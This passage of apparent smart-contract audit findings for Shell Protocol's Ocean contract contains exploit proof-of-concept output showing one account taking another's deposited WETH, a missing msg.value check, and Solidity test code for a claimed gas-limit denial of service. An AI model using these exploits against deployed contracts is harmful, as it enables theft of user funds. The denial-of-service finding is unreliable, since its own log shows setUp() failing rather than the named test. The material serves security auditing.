    await shellV2.executeInteraction({ ocean: ocean, signer: bob, interaction: interaction });

    console.log("bob WETH balance", (await weth.balanceOf(bob.address)).toString());
    console.log("bob Ocean wrapped WETH balance", (await ocean.balanceOf(bob.address, oceanId)).toString());
});

Output:

$ npx hardhat test test/integration/TokenIntegration.js


  Token Integration Tests
    ERC-721 Tests
alice address 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
bob address 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
ocean address 0x8464135c8F25Da09e49BC8782676a84730C318bC
weth address 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0
==> state before
ocean balance before 0
alice WETH balance 100000000000000000000
==> alice deposit 100 weth to ocean
ocean WETH balance 100000000000000000000
alice WETH balance 0
alice Ocean wrapped WETH balance 100000000000000000000
==> bob decides to attack the protocol
ocean WETH balance 100000000000000000000
bob WETH balance 0
bob Ocean wrapped WETH balance 0
==> bob launches the attack
ocean WETH balance 100000000000000000000
bob WETH balance 0
bob Ocean wrapped WETH balance 100000000000000000000
==> bob unwraps tokens
bob WETH balance 100000000000000000000
bob Ocean wrapped WETH balance 0
      ✔ exploit phantom function (297ms)


  1 passing (3s)

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to redesign the logic of calculating Ocean ID in a way it will be not possible to generate the same Ocean ID for two different token types e.g. ERC1155 and ERC20.

Assessed type

ERC20

`forwardedDoInteraction()` didn't check if user provide a msg.value accidentally or not

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L256-L268
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L391-L396

Vulnerability details

Impact

Users could potentially lose their Ether if, accidentally, they provide a non-zero msg.value when calling forwardedDoInteraction().

Proof of Concept

forwardedDoInteraction() and forwardedDoMultipleInteractions() can be invoked by caller to execute interaction(s) on behalf of userAddress. The caller must be approved by userAddress in advance:

  • ERC20/ERC721/ERC1155(non-ocean) tokens are transferred from userAddress to Ocean or vise versa.
  • ERC1155(ocean) tokens are minted to userAddress or burnt from userAddress
  • Ether will be sent to userAddress if executing unwrapping Ether.

Because the caller has no way to access Ether from userAddress, forwardedDoMultipleInteractions() provides a way to let callers use their own Ether with explicit consent:

474:        if (msg.value != 0) {
475:            // If msg.value != 0 and the user did not pass the WRAPPED_ETHER_ID
476:            // as an id in the ids array, the balance delta library will revert
477:            // This protects users who accidentally provide a msg.value.
478:            balanceDeltas.increaseBalanceDelta(WRAPPED_ETHER_ID, msg.value);
479:            emit EtherWrap(msg.value, userAddress);
480:        }

Yet, forwardedDoInteraction() has no protective mechanism to prevent callers from inadvertently sending their own Ether. The lack of consistency between forwardedDoInteraction() and forwardedDoMultipleInteractions() could cause user loss their ether accidentally.

Tools Used

Manual review

Recommended Mitigation Steps

Consider adding a protective mechanism in forwardedDoInteraction() to prevent callers from sending ether accidentally.

Assessed type

Other

[M-03] Denial of service with block gas limit in the Ocean contract on onERC1155BatchReceived

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L353-L366

Vulnerability details

Impact

The function call on onERC1155BatchReceived with two arrays of uint256 max causes a denial of service for a gas limit over 8 million gas as specified in the log results of the proof of concept.

When smart contracts are deployed or functions inside them are called, the execution of these actions always requires a certain amount of gas, based of how much computation is needed to complete them. The Ethereum network specifies a block gas limit and the sum of all transactions included in a block can not exceed the threshold.

Programming patterns that are harmless in centralised applications can lead to Denial of Service conditions in smart contracts when the cost of executing a function exceeds the block gas limit. Modifying an array of unknown size, that increases in size over time, can lead to such a Denial of Service condition.

The payload is

uint256[] memory dataFx = new uint256[](2);
        dataFx[0] = type(uint256).max;
        dataFx[1] = type(uint256).max;
        uint256[] memory dataFt = new uint256[](2);
        dataFt[0] = type(uint256).max;
        dataFt[1] = type(uint256).max;
        bytes memory bitten = bytes("0x1e18");
        ocean.onERC1155BatchReceived(address(1),address(2),dataFx,dataFt,bitten); 

Proof of Concept

The vulnerable function is

    function onERC1155BatchReceived(
        address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        bytes calldata
    )
        external
        pure
        override
        returns (bytes4)
    {
        return 0;
    }

The POC Function is

 function testDosC() external view {
        uint256[] memory dataFx = new uint256[](2);
        dataFx[0] = type(uint256).max;
        dataFx[1] = type(uint256).max;
        uint256[] memory dataFt = new uint256[](2);
        dataFt[0] = type(uint256).max;
        dataFt[1] = type(uint256).max;
        bytes memory bitten = bytes("0x1e18");
        ocean.onERC1155BatchReceived(address(1),address(2),dataFx,dataFt,bitten);
    }

The test file is

test for src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter

The Log results are

forge test --match-test "testDosC" --gas-limit 9000000
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter
[FAIL. Reason: EvmError: OutOfGas] setUp() (gas: 0)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 966.17µs
 
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter
[FAIL. Reason: EvmError: OutOfGas] setUp() (gas: 0)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

VS Code. Foundry.

Recommended Mitigation Steps

Caution is advised when you expect to have large arrays that grow over time. Actions that require looping across the entire data structure should be avoided.

If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions.

Assessed type

DoS

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.